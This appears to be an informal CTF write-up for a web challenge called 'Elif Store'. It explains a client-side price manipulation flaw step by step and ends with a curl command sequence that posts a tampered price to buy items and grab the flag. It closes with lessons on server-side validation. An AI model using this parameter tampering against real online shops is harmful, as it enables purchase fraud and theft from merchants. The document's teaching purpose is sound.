CTF Write-up: Elif Store
The site looks like a typical e-commerce website. You can register, login, and buy items. /register /login /shop /cart
Author: Anas Education
linkedIn Anas Magane
Youtube Anas Education ---->>>>>>> +55K subs
Challenge Info#
Target: http://[IP]:2028 Category: Web Difficulty: Veryyyy Easy Points: 500 Description
Welcome to Elif Store!
We sell the best products in the world.
Zrrrrrb ....La ghla 3la messkin
mol lmli7 bAAA3 ou ra7
port 2028
*author : Anas Education*
Step 1: Reconnaissance#
The site looks like a typical e-commerce website. You can register, login, and buy items. /register /login /shop /cart
any functionnality we need an account
First things first, we need an account to interact with the shop. Let's create a user hacker
after logged in we have our account with 0$ dollar we can't perfom any action
ooo we have some functionalities
with the 0$ dollar we can't perfom any action After logging in, we see our dashboard. Bro... we have $0.00 balance. We are broke! :(
How are we supposed to buy the FLAG if it costs a fortune? We need money... or we need to trick the system.
Let's look around. Oh, there is a coupon feature! AnasEducation2026 let's enter this coupon and click on any product to buy it
AnasEducation2026
added 10$ hmmm nice
but with the 10$ cannot buy any product again and Okay, we got $10. It's something, but not enough to buy the big stuff. We need to dig deeper into how the "buying" process works.hhh
Analyzing the Logic (The Bug) Let's try to add a product to the cart and intercept the request with Burp Suite (or just look at the Network tab).
Wait a minute... Look at the POST request parameters!
POST /add_to_cart HTTP/1.1
Host: 13.62.230.67:2028
...
product_id=1&quantity=1&price=100WHAT?! 🤯 The price is sent from the CLIENT side? The developer is trusting US to tell the server how much the product costs?
Let's verify this theory. guess the logic: another idea is Now comes the fun part. If I can control the price, I can pay $0.01 for the item... OR BETTER YET... What happens if I set a NEGATIVE PRICE? 🤔
If Price = -1000 Total = Quantity * -1000 The system might deduct a negative amount ... which means it ADDS money to my account! But nothings wakha tjrrbha
sooooo look at the request
we change the value from 699.99 to 0.1
whaaaaaaaaaaaaat
CLIK on complete purchase
we are successfuly change the value of this iphone
the Problem is#
An e-commerce site with a crazy bug in price management. The dev let the client control prices directly!
the vulnerability#
The server takes the price directly from the client without checking! Not even validation against the actual product price.
Quick Solution#
## 1. Créer un compte
curl -X POST http://13.62.230.67:2028/register \
-d "username=hacker&email=hack@test.com&password=pass123"
## 2. Se connecter
curl -X POST http://13.62.230.67:2028/login \
-d "username=hacker&password=pass123" -c cookies.txt
## 3. Appliquer le coupon
curl -X POST http://13.62.230.67:2028/apply_coupon \
-d "coupon=AnasEducation2026" -b cookies.txt
## 4. Ajouter produit avec prix manipulé
curl -X POST http://13.62.230.67:2028/add_to_cart \
-d "product_id=1&quantity=1000&price=0.01" -b cookies.txt
## 5. Checkout = FLAG
curl -X POST http://13.62.230.67:2028/checkout \
-b cookies.txt | grep "flag{"PWNED! 🔥
We literally robbed the store by telling it "Hey, you owe me money for taking this iPhone." 😂
What You Learn#
Business Logic Vulnerabilities
Parameter Tampering (Price Manipulation)
Why Client-Side Validation is NOT enough
HTTP Request Manipulation
Cookie/Session HandlingBasically: Always calculate prices on the server!
Happy Hacking!#
by Anas Education